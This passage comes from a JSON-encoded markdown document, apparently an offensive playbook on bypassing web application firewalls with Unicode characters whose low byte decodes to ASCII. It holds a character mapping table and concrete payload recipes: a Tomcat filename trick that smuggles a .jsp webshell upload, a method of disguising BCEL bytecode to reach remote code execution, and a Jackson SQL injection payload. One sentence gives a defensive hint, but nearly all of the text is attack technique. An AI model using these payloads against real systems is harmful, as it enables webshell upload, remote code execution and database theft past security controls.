syntax","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ȩ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0228","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":")","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x29","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"EL/SpEL/OGNL syntax","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ȩ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0229","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":".","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x2E","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"path traversal, extension","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"阮","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+962E","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"/","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x2F","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"path separator","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"丯","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+4E2F","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x30","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"hex digit construction","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"丰","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+4E30","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x31","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"hex digit construction","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"失","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+5931","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"2","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x32","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"hex digit construction","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"甲","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+7532","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"3","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x33","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"hex digit construction","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"耳","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+8033","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":";","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x3B","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"command separator, header continuation","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ȼ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+023B","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\u003c","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x3C","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"XSS / XML tag start","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ȼ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+023C","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"=","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x3D","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"parameter / header value","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ƚ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+023D","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":">","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x3E","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"XSS / XML tag end","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ⱦ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+023E","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"@","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x40","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Fastjson ","type":"text"},{"text":"@type","type":"text","marks":[{"type":"code_inline"}]},{"text":", mail address","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ŀ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0140","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"a","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x61","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"keyword ","type":"text"},{"text":"class","type":"text","marks":[{"type":"code_inline"}]},{"text":", alphabet","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ᙡ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+1661","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"c","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x63","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"keyword ","type":"text"},{"text":"class","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"cmd","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"㹣","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+3E63","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"e","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x65","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"hex digit","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"来","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+6765","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"j","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x6A","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"extension ","type":"text"},{"text":".jsp","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"陪","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+966A","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"l","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x6C","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"keyword ","type":"text"},{"text":"class","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"closure","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"౬","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0C6C","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"n","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x6E","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"keyword ","type":"text"},{"text":"Runtime","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"union","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"陮","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+966E","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"s","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x73","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"keyword ","type":"text"},{"text":"class","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"select","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"⑳","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+2473","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"t","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x74","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"keyword ","type":"text"},{"text":"Runtime","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"type","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ŵ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0174","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"u","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x75","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\u","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape introducer","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"灵","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+7075","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Workflow tip: keep the ASCII ","type":"text"},{"text":"Ŀ","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"ȧ","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"ȼ","type":"text","marks":[{"type":"code_inline"}]},{"text":", etc. variants for tight HTTP header contexts (one byte UTF-8 expansion stays smaller); use CJK like ","type":"text"},{"text":"阮","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"陪","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"严","type":"text","marks":[{"type":"code_inline"}]},{"text":" when you want to bias the WAF \"this is just text\" classifier.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"5. PER-COMPONENT PAYLOAD RECIPES","type":"text"}]},{"type":"paragraph","content":[{"text":"Every recipe shows the dual view: what the WAF inspects vs. what the backend actually executes. This is the only reliable way to explain ","type":"text"},{"text":"why","type":"text","marks":[{"type":"em"}]},{"text":" the payload goes through.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.1 Tomcat ","type":"text"},{"text":"RFC2231Utility","type":"text","marks":[{"type":"code_inline"}]},{"text":" — file upload Webshell (Family A)","type":"text"}]},{"type":"paragraph","content":[{"text":"Trigger: any endpoint that accepts multipart upload and Tomcat parses ","type":"text"},{"text":"Content-Disposition: ... filename*=UTF-8''...","type":"text","marks":[{"type":"code_inline"}]},{"text":". Tomcat's RFC2231 decoder casts each non-percent character directly to byte, dropping the high 8 bits.","type":"text"}]},{"type":"paragraph","content":[{"text":"Payload:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Content-Disposition: attachment; filename*=UTF-8''1.陪sp","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Stage","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Filename it sees","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"WAF / extension filter","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1.陪sp","type":"text","marks":[{"type":"code_inline"}]},{"text":" (not ","type":"text"},{"text":".jsp","type":"text","marks":[{"type":"code_inline"}]},{"text":", allow)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Tomcat RFC2231 decoder","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"陪","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> low byte 0x6A -> ","type":"text"},{"text":"j","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"File system","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1.jsp","type":"text","marks":[{"type":"code_inline"}]}]}]}]}]},{"type":"paragraph","content":[{"text":"Combine with traversal characters from section 4 (","type":"text"},{"text":"阮","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"丯","type":"text","marks":[{"type":"code_inline"}]},{"text":") when the upload target directory is fixed but the application accepts a ","type":"text"},{"text":"filename*","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.2 Apache Commons BCEL — ClassLoader RCE (Family A)","type":"text"}]},{"type":"paragraph","content":[{"text":"Trigger: any sink that resolves a class name through ","type":"text"},{"text":"BCEL","type":"text","marks":[{"type":"code_inline"}]},{"text":" (","type":"text"},{"text":"$BCEL$...","type":"text","marks":[{"type":"code_inline"}]},{"text":") or any code that decodes BCEL via the ","type":"text"},{"text":"JavaReader","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> ","type":"text"},{"text":"ByteArrayOutputStream","type":"text","marks":[{"type":"code_inline"}]},{"text":" loop.","type":"text"}]},{"type":"paragraph","content":[{"text":"Vulnerable shape:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"java"},"content":[{"text":"ByteArrayOutputStream bos = new ByteArrayOutputStream();\nJavaReader jr = new JavaReader(new CharArrayReader(userChars));\nwhile ((ch = jr.read()) >= 0) {\n bos.write(ch); // low 8 bits only\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"Attack: wrap each byte of the malicious BCEL bytecode into a Unicode character whose low 8 bits equal that byte. The decoded byte stream is a valid BCEL class; the WAF sees a long blob of CJK text without ","type":"text"},{"text":"$BCEL$","type":"text","marks":[{"type":"code_inline"}]},{"text":" keywords or class signatures.","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"View","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Content","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"WAF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"$BCEL$","type":"text","marks":[{"type":"code_inline"}]},{"text":" followed by random looking CJK","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"BCEL","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"standard BCEL class file bytes → JVM defineClass → RCE","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Defense for blue team: a WAF inspecting BCEL must replicate the ","type":"text"},{"text":"bos.write(ch)","type":"text","marks":[{"type":"code_inline"}]},{"text":" semantics on each character before pattern matching.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.3 Jackson ","type":"text"},{"text":"charToHex","type":"text","marks":[{"type":"code_inline"}]},{"text":" — SQLi smuggling (Family C)","type":"text"}]},{"type":"paragraph","content":[{"text":"Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL or another parser. Jackson resolves ","type":"text"},{"text":"\\uXXXX","type":"text","marks":[{"type":"code_inline"}]},{"text":" digits via:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"java"},"content":[{"text":"private static final int[] sHexValues = new int[128];\npublic static int charToHex(int ch) {\n return sHexValues[ch & 0xFF]; // mask first, lookup second\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"Any non-ASCII character whose low 8 bits land on a populated index returns that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.","type":"text"}]},{"type":"paragraph","content":[{"text":"Payload (smuggle the digit ","type":"text"},{"text":"1","type":"text","marks":[{"type":"code_inline"}]},{"text":" for a UNION column count):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\"q\": \"\\u丰丰耳失 union select 1,2,3 -- \"}","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"View","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Content","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"WAF","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\u丰丰耳失 union select ...","type":"text","marks":[{"type":"code_inline"}]},{"text":" (no leading digit)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Jackson","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\u0031 union select 1,2,3-- ","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> ","type":"text"},{"text":"1 union select…","type":"text","marks":[{"type":"code_inline"}]}]}]}]}]},{"type":"paragraph","content":[{"text":"Pair with ","type":"text"},{"text":"sqli-sql-injection","type":"text","marks":[{"type":"link","attrs":{"href":"../sqli-sql-injection/SKILL.md","title":null}}]},{"text":" for the downstream UNION / boolean / time-based payload templates.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5.4 Fastjson — ","type":"text"},{"text":"\\u","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"\\x","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape bypass (Families B + C)","type":"text"}]},{"type":"paragraph","content":[{"text":"Two independent surfaces:","type":"text"}]},{"type":"paragraph","content":[{"text":"(a) ","type":"text"},{"text":"\\u","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape — ","type":"text"},{"text":"Character.digit(c, 16)","type":"text","marks":[{"type":"code_inline"}]},{"text":" accepts Unicode digit categories beyond ASCII (Thai 